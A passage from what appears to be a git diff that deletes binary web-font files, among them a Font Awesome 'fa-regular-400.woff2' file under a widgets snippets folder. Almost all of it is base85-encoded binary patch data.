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 diff --git a/pages/widgets/_snippets/public/fonts/fa-regular-400.woff2 b/pages/widgets/_snippets/public/fonts/fa-regular-400.woff2 deleted file mode 100644 index 7e0118e526eb53511cb57e7cfaf515784fee4345..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 13584 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 